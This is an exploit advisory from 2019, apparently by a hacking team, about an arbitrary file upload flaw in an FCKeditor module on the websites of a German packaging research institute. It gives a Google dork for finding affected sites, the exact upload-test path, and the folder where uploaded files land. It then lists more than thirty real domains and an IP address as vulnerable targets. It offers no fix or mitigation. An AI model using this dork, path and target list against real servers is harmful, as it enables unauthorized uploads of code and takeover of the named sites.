Institut VerpackungsMarktForschung GMBH Modules File Upload

############################################################################################

# Exploit Title : Institut VerpackungsMarktForschung GMBH Modules Arbitrary File Upload
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 28/03/2019
# Vendor Homepage : ivm-childsafe.de
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Google Dorks : [PDF] inurl:/modules/fck/usr/
# Vulnerability Type : CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/issue/WLB-2019030233

############################################################################################

# Impact :
***********
Institut VerpackungsMarktForschung GMBH FCKeditor Modules is prone to a vulnerability that lets attackers

upload arbitrary files because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process.

This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Weaknesses in this category are related to the management of permissions, privileges, and other

security features that are used to perform access control.

############################################################################################

# Arbitrary File Upload / Insert File Exploit :
***************************************
/modules/fck/editor/filemanager/connectors/uploadtest.html

# Directory File Path :
*********************
/modules/fck/usr/[YOURFILENAME].txt .jpg .gif .png

############################################################################################

# Example Vulnerable Sites :
*************************
[+] Vulnerable IP Address => 46.4.112.25 => There are 140 domains hosted on this server.

[+] heizungsfilter.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-childsafe.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-childsafe.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-safe.info/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-safe.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childproofpackaging.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] antonischki.net/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindersicherheit.biz/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-resistant-packages.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-resistant-packaging.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-resistant.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-resistant.net/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] child-resistant.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childproof.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistant.net/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistant.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistantpackages.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistantpackaging.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistantpackaging.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistantpackaging.net/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] childresistantpackaging.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-childsave.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-childsave.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-lab.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] ivm-lab.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindergesichert.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindergesicherte-verpackungen.com/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindergesicherte-verpackungen.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindergesicherte-verpackungen.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindergesicherte.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindersicher.org/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindersichere-verpackungen.de/modules/fck/editor/filemanager/connectors/uploadtest.html

[+] kindersichere.de/modules/fck/editor/filemanager/connectors/uploadtest.html

############################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

############################################################################################